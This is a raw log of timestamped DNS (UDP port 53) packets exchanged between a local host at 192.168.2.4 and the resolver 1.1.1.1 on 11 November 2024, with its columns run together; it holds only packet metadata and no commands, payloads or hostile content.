                                                                                                                                                                                                                    Nov 11, 2024 18:48:40.343646049 CET53531911.1.1.1192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:40.347443104 CET53584961.1.1.1192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:40.363080025 CET5469553192.168.2.41.1.1.1
                                                                                                                                                                                                                    Nov 11, 2024 18:48:40.394366026 CET53546951.1.1.1192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:41.156902075 CET6402153192.168.2.41.1.1.1
                                                                                                                                                                                                                    Nov 11, 2024 18:48:41.164387941 CET6040453192.168.2.41.1.1.1
                                                                                                                                                                                                                    Nov 11, 2024 18:48:41.165359974 CET53640211.1.1.1192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:41.169373989 CET5077053192.168.2.41.1.1.1
                                                                                                                                                                                                                    Nov 11, 2024 18:48:41.174804926 CET5121953192.168.2.41.1.1.1
                                                                                                                                                                                                                    Nov 11, 2024 18:48:41.175143957 CET53604041.1.1.1192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:41.179908991 CET53507701.1.1.1192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:41.182087898 CET5844453192.168.2.41.1.1.1
                                                                                                                                                                                                                    Nov 11, 2024 18:48:41.183367968 CET6113653192.168.2.41.1.1.1
                                                                                                                                                                                                                    Nov 11, 2024 18:48:41.191936016 CET53584441.1.1.1192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:41.194749117 CET53611361.1.1.1192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:41.195334911 CET5197053192.168.2.41.1.1.1
                                                                                                                                                                                                                    Nov 11, 2024 18:48:41.205576897 CET53512191.1.1.1192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:41.207081079 CET53519701.1.1.1192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:41.208772898 CET5788553192.168.2.41.1.1.1
                                                                                                                                                                                                                    Nov 11, 2024 18:48:41.219620943 CET53578851.1.1.1192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:41.241118908 CET5210453192.168.2.41.1.1.1
                                                                                                                                                                                                                    Nov 11, 2024 18:48:41.252028942 CET53521041.1.1.1192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:41.262377024 CET5990853192.168.2.41.1.1.1
                                                                                                                                                                                                                    Nov 11, 2024 18:48:41.270091057 CET5448953192.168.2.41.1.1.1
                                                                                                                                                                                                                    Nov 11, 2024 18:48:41.270365000 CET6247853192.168.2.41.1.1.1
                                                                                                                                                                                                                    Nov 11, 2024 18:48:41.270440102 CET5395253192.168.2.41.1.1.1
                                                                                                                                                                                                                    Nov 11, 2024 18:48:41.270944118 CET6142453192.168.2.41.1.1.1
                                                                                                                                                                                                                    Nov 11, 2024 18:48:41.271058083 CET4962953192.168.2.41.1.1.1
                                                                                                                                                                                                                    Nov 11, 2024 18:48:41.271150112 CET6364553192.168.2.41.1.1.1
                                                                                                                                                                                                                    Nov 11, 2024 18:48:41.271297932 CET6228353192.168.2.41.1.1.1
                                                                                                                                                                                                                    Nov 11, 2024 18:48:41.272738934 CET53599081.1.1.1192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:41.278964043 CET53544891.1.1.1192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:41.280083895 CET53539521.1.1.1192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:41.280653000 CET53622831.1.1.1192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:41.281563044 CET53496291.1.1.1192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:41.281943083 CET53614241.1.1.1192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:41.282289028 CET6443853192.168.2.41.1.1.1
                                                                                                                                                                                                                    Nov 11, 2024 18:48:41.282618046 CET5790253192.168.2.41.1.1.1
                                                                                                                                                                                                                    Nov 11, 2024 18:48:41.282845974 CET5651753192.168.2.41.1.1.1
                                                                                                                                                                                                                    Nov 11, 2024 18:48:41.283098936 CET5088853192.168.2.41.1.1.1
                                                                                                                                                                                                                    Nov 11, 2024 18:48:41.283262014 CET5652353192.168.2.41.1.1.1
                                                                                                                                                                                                                    Nov 11, 2024 18:48:41.283348083 CET5759853192.168.2.41.1.1.1
                                                                                                                                                                                                                    Nov 11, 2024 18:48:41.283559084 CET5183953192.168.2.41.1.1.1
                                                                                                                                                                                                                    Nov 11, 2024 18:48:41.283684015 CET5645953192.168.2.41.1.1.1
                                                                                                                                                                                                                    Nov 11, 2024 18:48:41.283735991 CET5934653192.168.2.41.1.1.1
                                                                                                                                                                                                                    Nov 11, 2024 18:48:41.283866882 CET6483453192.168.2.41.1.1.1
                                                                                                                                                                                                                    Nov 11, 2024 18:48:41.284013987 CET5182853192.168.2.41.1.1.1
                                                                                                                                                                                                                    Nov 11, 2024 18:48:41.284195900 CET5476753192.168.2.41.1.1.1
                                                                                                                                                                                                                    Nov 11, 2024 18:48:41.284229994 CET5957153192.168.2.41.1.1.1
                                                                                                                                                                                                                    Nov 11, 2024 18:48:41.284504890 CET5558453192.168.2.41.1.1.1
                                                                                                                                                                                                                    Nov 11, 2024 18:48:41.284712076 CET6392653192.168.2.41.1.1.1
                                                                                                                                                                                                                    Nov 11, 2024 18:48:41.287650108 CET6400453192.168.2.41.1.1.1
                                                                                                                                                                                                                    Nov 11, 2024 18:48:41.290988922 CET53648341.1.1.1192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:41.291646004 CET6551453192.168.2.41.1.1.1
                                                                                                                                                                                                                    Nov 11, 2024 18:48:41.292016029 CET5057153192.168.2.41.1.1.1
                                                                                                                                                                                                                    Nov 11, 2024 18:48:41.292016029 CET6167953192.168.2.41.1.1.1
                                                                                                                                                                                                                    Nov 11, 2024 18:48:41.292031050 CET5558653192.168.2.41.1.1.1
                                                                                                                                                                                                                    Nov 11, 2024 18:48:41.292198896 CET5196153192.168.2.41.1.1.1
                                                                                                                                                                                                                    Nov 11, 2024 18:48:41.292772055 CET53579021.1.1.1192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:41.292779922 CET53518281.1.1.1192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:41.292782068 CET53508881.1.1.1192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:41.292794943 CET5490753192.168.2.41.1.1.1
                                                                                                                                                                                                                    Nov 11, 2024 18:48:41.293884039 CET53575981.1.1.1192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:41.294214010 CET4917653192.168.2.41.1.1.1
                                                                                                                                                                                                                    Nov 11, 2024 18:48:41.294277906 CET53636451.1.1.1192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:41.294918060 CET53564591.1.1.1192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:41.295588970 CET53565231.1.1.1192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:41.301507950 CET53616791.1.1.1192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:41.301676989 CET53519611.1.1.1192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:41.301698923 CET53549071.1.1.1192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:41.301721096 CET53555861.1.1.1192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:41.302123070 CET53624781.1.1.1192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:41.302537918 CET53640041.1.1.1192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:41.302865982 CET53595711.1.1.1192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:41.308799028 CET5212653192.168.2.41.1.1.1
                                                                                                                                                                                                                    Nov 11, 2024 18:48:41.310389996 CET6201653192.168.2.41.1.1.1
                                                                                                                                                                                                                    Nov 11, 2024 18:48:41.310633898 CET5265153192.168.2.41.1.1.1
                                                                                                                                                                                                                    Nov 11, 2024 18:48:41.310705900 CET6414253192.168.2.41.1.1.1
                                                                                                                                                                                                                    Nov 11, 2024 18:48:41.310888052 CET5520753192.168.2.41.1.1.1
                                                                                                                                                                                                                    Nov 11, 2024 18:48:41.311034918 CET5356053192.168.2.41.1.1.1
                                                                                                                                                                                                                    Nov 11, 2024 18:48:41.311130047 CET6351453192.168.2.41.1.1.1
                                                                                                                                                                                                                    Nov 11, 2024 18:48:41.311213017 CET5921053192.168.2.41.1.1.1
                                                                                                                                                                                                                    Nov 11, 2024 18:48:41.311389923 CET6245753192.168.2.41.1.1.1
                                                                                                                                                                                                                    Nov 11, 2024 18:48:41.311595917 CET5817753192.168.2.41.1.1.1
                                                                                                                                                                                                                    Nov 11, 2024 18:48:41.311696053 CET5203053192.168.2.41.1.1.1
                                                                                                                                                                                                                    Nov 11, 2024 18:48:41.311850071 CET5607053192.168.2.41.1.1.1
                                                                                                                                                                                                                    Nov 11, 2024 18:48:41.311975002 CET6311853192.168.2.41.1.1.1
                                                                                                                                                                                                                    Nov 11, 2024 18:48:41.312040091 CET6384853192.168.2.41.1.1.1
                                                                                                                                                                                                                    Nov 11, 2024 18:48:41.312242031 CET6513553192.168.2.41.1.1.1
                                                                                                                                                                                                                    Nov 11, 2024 18:48:41.312242031 CET4928353192.168.2.41.1.1.1
                                                                                                                                                                                                                    Nov 11, 2024 18:48:41.313524961 CET53644381.1.1.1192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:41.314438105 CET53518391.1.1.1192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:41.314449072 CET53565171.1.1.1192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:41.315095901 CET53639261.1.1.1192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:41.315114021 CET53593461.1.1.1192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:41.315571070 CET5645853192.168.2.41.1.1.1
                                                                                                                                                                                                                    Nov 11, 2024 18:48:41.315670967 CET53547671.1.1.1192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:41.316760063 CET53555841.1.1.1192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:41.318366051 CET5236853192.168.2.41.1.1.1
                                                                                                                                                                                                                    Nov 11, 2024 18:48:41.319586039 CET53521261.1.1.1192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:41.320707083 CET53535601.1.1.1192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:41.320770025 CET53620161.1.1.1192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:41.320785046 CET6190453192.168.2.41.1.1.1
                                                                                                                                                                                                                    Nov 11, 2024 18:48:41.321649075 CET5352253192.168.2.41.1.1.1
                                                                                                                                                                                                                    Nov 11, 2024 18:48:41.321824074 CET53631181.1.1.1192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:41.321827888 CET4982653192.168.2.41.1.1.1
                                                                                                                                                                                                                    Nov 11, 2024 18:48:41.321954012 CET5735453192.168.2.41.1.1.1
                                                                                                                                                                                                                    Nov 11, 2024 18:48:41.321980953 CET53552071.1.1.1192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:41.321991920 CET53560701.1.1.1192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:41.322065115 CET5977353192.168.2.41.1.1.1
                                                                                                                                                                                                                    Nov 11, 2024 18:48:41.323060036 CET53655141.1.1.1192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:41.323071003 CET53505711.1.1.1192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:41.323081017 CET53581771.1.1.1192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:41.323441982 CET5635453192.168.2.41.1.1.1
                                                                                                                                                                                                                    Nov 11, 2024 18:48:41.327187061 CET53491761.1.1.1192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:41.327301979 CET53523681.1.1.1192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:41.328562021 CET53635141.1.1.1192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:41.330503941 CET53492831.1.1.1192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:41.332278967 CET53619041.1.1.1192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:41.332648039 CET53573541.1.1.1192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:41.332650900 CET53498261.1.1.1192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:41.333792925 CET53563541.1.1.1192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:41.335968971 CET53520301.1.1.1192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:41.339669943 CET53535221.1.1.1192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:41.341126919 CET53641421.1.1.1192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:41.342084885 CET53526511.1.1.1192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:41.342281103 CET53624571.1.1.1192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:41.342613935 CET53638481.1.1.1192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:41.342624903 CET53592101.1.1.1192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:41.344546080 CET53651351.1.1.1192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:41.346643925 CET53564581.1.1.1192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:41.352900982 CET53597731.1.1.1192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:41.549866915 CET5800353192.168.2.41.1.1.1
                                                                                                                                                                                                                    Nov 11, 2024 18:48:41.550194025 CET6165153192.168.2.41.1.1.1
                                                                                                                                                                                                                    Nov 11, 2024 18:48:41.552886963 CET6485853192.168.2.41.1.1.1
                                                                                                                                                                                                                    Nov 11, 2024 18:48:41.554377079 CET6101053192.168.2.41.1.1.1
                                                                                                                                                                                                                    Nov 11, 2024 18:48:41.558711052 CET5262253192.168.2.41.1.1.1
                                                                                                                                                                                                                    Nov 11, 2024 18:48:41.559550047 CET53580031.1.1.1192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:41.559983015 CET6539053192.168.2.41.1.1.1
                                                                                                                                                                                                                    Nov 11, 2024 18:48:41.560972929 CET53616511.1.1.1192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:41.563137054 CET4985253192.168.2.41.1.1.1
                                                                                                                                                                                                                    Nov 11, 2024 18:48:41.564996958 CET53610101.1.1.1192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:41.564997911 CET5419453192.168.2.41.1.1.1
                                                                                                                                                                                                                    Nov 11, 2024 18:48:41.569915056 CET53526221.1.1.1192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:41.570302963 CET53653901.1.1.1192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:41.571779966 CET6011753192.168.2.41.1.1.1
                                                                                                                                                                                                                    Nov 11, 2024 18:48:41.572058916 CET5141953192.168.2.41.1.1.1
                                                                                                                                                                                                                    Nov 11, 2024 18:48:41.572488070 CET5460553192.168.2.41.1.1.1
                                                                                                                                                                                                                    Nov 11, 2024 18:48:41.572943926 CET5432553192.168.2.41.1.1.1
                                                                                                                                                                                                                    Nov 11, 2024 18:48:41.573720932 CET5008753192.168.2.41.1.1.1
                                                                                                                                                                                                                    Nov 11, 2024 18:48:41.574444056 CET6468953192.168.2.41.1.1.1
                                                                                                                                                                                                                    Nov 11, 2024 18:48:41.574589968 CET6511853192.168.2.41.1.1.1
                                                                                                                                                                                                                    Nov 11, 2024 18:48:41.576100111 CET6023353192.168.2.41.1.1.1
                                                                                                                                                                                                                    Nov 11, 2024 18:48:41.576700926 CET5149153192.168.2.41.1.1.1
                                                                                                                                                                                                                    Nov 11, 2024 18:48:41.583323956 CET53543251.1.1.1192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:41.583420992 CET53546051.1.1.1192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:41.583431005 CET53651181.1.1.1192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:41.583831072 CET53646891.1.1.1192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:41.585233927 CET53648581.1.1.1192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:41.586628914 CET53514911.1.1.1192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:41.593745947 CET5102353192.168.2.41.1.1.1
                                                                                                                                                                                                                    Nov 11, 2024 18:48:41.594125986 CET5570653192.168.2.41.1.1.1
                                                                                                                                                                                                                    Nov 11, 2024 18:48:41.594538927 CET5103453192.168.2.41.1.1.1
                                                                                                                                                                                                                    Nov 11, 2024 18:48:41.594605923 CET6042053192.168.2.41.1.1.1
                                                                                                                                                                                                                    Nov 11, 2024 18:48:41.594800949 CET6247853192.168.2.41.1.1.1
                                                                                                                                                                                                                    Nov 11, 2024 18:48:41.595684052 CET53498521.1.1.1192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:41.597091913 CET53541941.1.1.1192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:41.601193905 CET6029253192.168.2.41.1.1.1
                                                                                                                                                                                                                    Nov 11, 2024 18:48:41.604001045 CET53601171.1.1.1192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:41.604475021 CET53557061.1.1.1192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:41.604486942 CET53604201.1.1.1192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:41.604574919 CET53500871.1.1.1192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:41.604587078 CET53624781.1.1.1192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:41.604598999 CET53514191.1.1.1192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:41.609014988 CET53602331.1.1.1192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:41.612807035 CET53602921.1.1.1192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:41.624069929 CET53510231.1.1.1192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:41.625739098 CET6059353192.168.2.41.1.1.1
                                                                                                                                                                                                                    Nov 11, 2024 18:48:41.627827883 CET53510341.1.1.1192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:41.637603998 CET6490553192.168.2.41.1.1.1
                                                                                                                                                                                                                    Nov 11, 2024 18:48:41.637797117 CET5147553192.168.2.41.1.1.1
                                                                                                                                                                                                                    Nov 11, 2024 18:48:41.638303995 CET6379253192.168.2.41.1.1.1
                                                                                                                                                                                                                    Nov 11, 2024 18:48:41.638535023 CET6011653192.168.2.41.1.1.1
                                                                                                                                                                                                                    Nov 11, 2024 18:48:41.639219046 CET4975053192.168.2.41.1.1.1
                                                                                                                                                                                                                    Nov 11, 2024 18:48:41.639383078 CET5530553192.168.2.41.1.1.1
                                                                                                                                                                                                                    Nov 11, 2024 18:48:41.646698952 CET53553051.1.1.1192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:41.647703886 CET53649051.1.1.1192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:41.648781061 CET53637921.1.1.1192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:41.649296999 CET53601161.1.1.1192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:41.649307966 CET53514751.1.1.1192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:41.651036978 CET5253653192.168.2.41.1.1.1
                                                                                                                                                                                                                    Nov 11, 2024 18:48:41.651185989 CET6275853192.168.2.41.1.1.1
                                                                                                                                                                                                                    Nov 11, 2024 18:48:41.651484013 CET6328953192.168.2.41.1.1.1
                                                                                                                                                                                                                    Nov 11, 2024 18:48:41.652555943 CET5345353192.168.2.41.1.1.1
                                                                                                                                                                                                                    Nov 11, 2024 18:48:41.652618885 CET5792153192.168.2.41.1.1.1
                                                                                                                                                                                                                    Nov 11, 2024 18:48:41.652899981 CET5850353192.168.2.41.1.1.1
                                                                                                                                                                                                                    Nov 11, 2024 18:48:41.653050900 CET5990953192.168.2.41.1.1.1
                                                                                                                                                                                                                    Nov 11, 2024 18:48:41.653268099 CET5902253192.168.2.41.1.1.1
                                                                                                                                                                                                                    Nov 11, 2024 18:48:41.653425932 CET5164653192.168.2.41.1.1.1
                                                                                                                                                                                                                    Nov 11, 2024 18:48:41.657892942 CET5560853192.168.2.41.1.1.1
                                                                                                                                                                                                                    Nov 11, 2024 18:48:41.658014059 CET4943053192.168.2.41.1.1.1
                                                                                                                                                                                                                    Nov 11, 2024 18:48:41.658199072 CET6164953192.168.2.41.1.1.1
                                                                                                                                                                                                                    Nov 11, 2024 18:48:41.658620119 CET5048853192.168.2.41.1.1.1
                                                                                                                                                                                                                    Nov 11, 2024 18:48:41.658718109 CET53632891.1.1.1192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:41.658719063 CET5204253192.168.2.41.1.1.1
                                                                                                                                                                                                                    Nov 11, 2024 18:48:41.658813953 CET5689153192.168.2.41.1.1.1
                                                                                                                                                                                                                    Nov 11, 2024 18:48:41.659147978 CET5239153192.168.2.41.1.1.1
                                                                                                                                                                                                                    Nov 11, 2024 18:48:41.659796953 CET53605931.1.1.1192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:41.661570072 CET53525361.1.1.1192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:41.661581993 CET53627581.1.1.1192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:41.662925959 CET53590221.1.1.1192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:41.662936926 CET53534531.1.1.1192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:41.663136959 CET53599091.1.1.1192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:41.663326025 CET53516461.1.1.1192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:41.663419962 CET5939253192.168.2.41.1.1.1
                                                                                                                                                                                                                    Nov 11, 2024 18:48:41.663948059 CET5976353192.168.2.41.1.1.1
                                                                                                                                                                                                                    Nov 11, 2024 18:48:41.665100098 CET5166253192.168.2.41.1.1.1
                                                                                                                                                                                                                    Nov 11, 2024 18:48:41.665299892 CET5233653192.168.2.41.1.1.1
                                                                                                                                                                                                                    Nov 11, 2024 18:48:41.665476084 CET53616491.1.1.1192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:41.668123960 CET6522253192.168.2.41.1.1.1
                                                                                                                                                                                                                    Nov 11, 2024 18:48:41.668220997 CET6406853192.168.2.41.1.1.1
                                                                                                                                                                                                                    Nov 11, 2024 18:48:41.668448925 CET5524853192.168.2.41.1.1.1
                                                                                                                                                                                                                    Nov 11, 2024 18:48:41.668488026 CET53523911.1.1.1192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:41.668571949 CET6276153192.168.2.41.1.1.1
                                                                                                                                                                                                                    Nov 11, 2024 18:48:41.668792009 CET5637553192.168.2.41.1.1.1
                                                                                                                                                                                                                    Nov 11, 2024 18:48:41.669321060 CET53504881.1.1.1192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:41.669555902 CET5064653192.168.2.41.1.1.1
                                                                                                                                                                                                                    Nov 11, 2024 18:48:41.669619083 CET53497501.1.1.1192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:41.669730902 CET5904153192.168.2.41.1.1.1
                                                                                                                                                                                                                    Nov 11, 2024 18:48:41.670099020 CET53579211.1.1.1192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:41.670278072 CET5996053192.168.2.41.1.1.1
                                                                                                                                                                                                                    Nov 11, 2024 18:48:41.671431065 CET5636953192.168.2.41.1.1.1
                                                                                                                                                                                                                    Nov 11, 2024 18:48:41.671912909 CET5483653192.168.2.41.1.1.1
                                                                                                                                                                                                                    Nov 11, 2024 18:48:41.672441959 CET5870153192.168.2.41.1.1.1
                                                                                                                                                                                                                    Nov 11, 2024 18:48:41.673223972 CET6288753192.168.2.41.1.1.1
                                                                                                                                                                                                                    Nov 11, 2024 18:48:41.673612118 CET5772553192.168.2.41.1.1.1
                                                                                                                                                                                                                    Nov 11, 2024 18:48:41.674319029 CET53593921.1.1.1192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:41.674325943 CET5229553192.168.2.41.1.1.1
                                                                                                                                                                                                                    Nov 11, 2024 18:48:41.675148964 CET53523361.1.1.1192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:41.675554037 CET53516621.1.1.1192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:41.676433086 CET53520421.1.1.1192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:41.678126097 CET53640681.1.1.1192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:41.678136110 CET53563751.1.1.1192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:41.678896904 CET53552481.1.1.1192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:41.679013968 CET53506461.1.1.1192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:41.679949045 CET53599601.1.1.1192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:41.680314064 CET53563691.1.1.1192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:41.681138039 CET53590411.1.1.1192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:41.682426929 CET53548361.1.1.1192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:41.684245110 CET53628871.1.1.1192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:41.685302973 CET53577251.1.1.1192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:41.685801029 CET53585031.1.1.1192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:41.689107895 CET53556081.1.1.1192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:41.689121962 CET53568911.1.1.1192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:41.691037893 CET53494301.1.1.1192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:41.695527077 CET53597631.1.1.1192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:41.699753046 CET53652221.1.1.1192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:41.699892998 CET53627611.1.1.1192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:41.703521967 CET53587011.1.1.1192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:41.704533100 CET53522951.1.1.1192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:42.148561001 CET5295753192.168.2.41.1.1.1
                                                                                                                                                                                                                    Nov 11, 2024 18:48:42.149755955 CET5660953192.168.2.41.1.1.1
                                                                                                                                                                                                                    Nov 11, 2024 18:48:42.149755955 CET5733653192.168.2.41.1.1.1
                                                                                                                                                                                                                    Nov 11, 2024 18:48:42.149890900 CET5681553192.168.2.41.1.1.1
                                                                                                                                                                                                                    Nov 11, 2024 18:48:42.154648066 CET6545753192.168.2.41.1.1.1
                                                                                                                                                                                                                    Nov 11, 2024 18:48:42.157099009 CET5552453192.168.2.41.1.1.1
                                                                                                                                                                                                                    Nov 11, 2024 18:48:42.157749891 CET6450153192.168.2.41.1.1.1
                                                                                                                                                                                                                    Nov 11, 2024 18:48:42.157867908 CET5039153192.168.2.41.1.1.1
                                                                                                                                                                                                                    Nov 11, 2024 18:48:42.159359932 CET5073653192.168.2.41.1.1.1
                                                                                                                                                                                                                    Nov 11, 2024 18:48:42.159359932 CET5704453192.168.2.41.1.1.1
                                                                                                                                                                                                                    Nov 11, 2024 18:48:42.159898043 CET53568151.1.1.1192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:42.160463095 CET5670953192.168.2.41.1.1.1
                                                                                                                                                                                                                    Nov 11, 2024 18:48:42.161304951 CET5076253192.168.2.41.1.1.1
                                                                                                                                                                                                                    Nov 11, 2024 18:48:42.162475109 CET53654571.1.1.1192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:42.162522078 CET5915753192.168.2.41.1.1.1
                                                                                                                                                                                                                    Nov 11, 2024 18:48:42.162522078 CET6034453192.168.2.41.1.1.1
                                                                                                                                                                                                                    Nov 11, 2024 18:48:42.162753105 CET6296653192.168.2.41.1.1.1
                                                                                                                                                                                                                    Nov 11, 2024 18:48:42.162954092 CET5177453192.168.2.41.1.1.1
                                                                                                                                                                                                                    Nov 11, 2024 18:48:42.163680077 CET4979953192.168.2.41.1.1.1
                                                                                                                                                                                                                    Nov 11, 2024 18:48:42.163845062 CET5590753192.168.2.41.1.1.1
                                                                                                                                                                                                                    Nov 11, 2024 18:48:42.164347887 CET5701653192.168.2.41.1.1.1
                                                                                                                                                                                                                    Nov 11, 2024 18:48:42.164423943 CET5178753192.168.2.41.1.1.1
                                                                                                                                                                                                                    Nov 11, 2024 18:48:42.165452957 CET4971853192.168.2.41.1.1.1
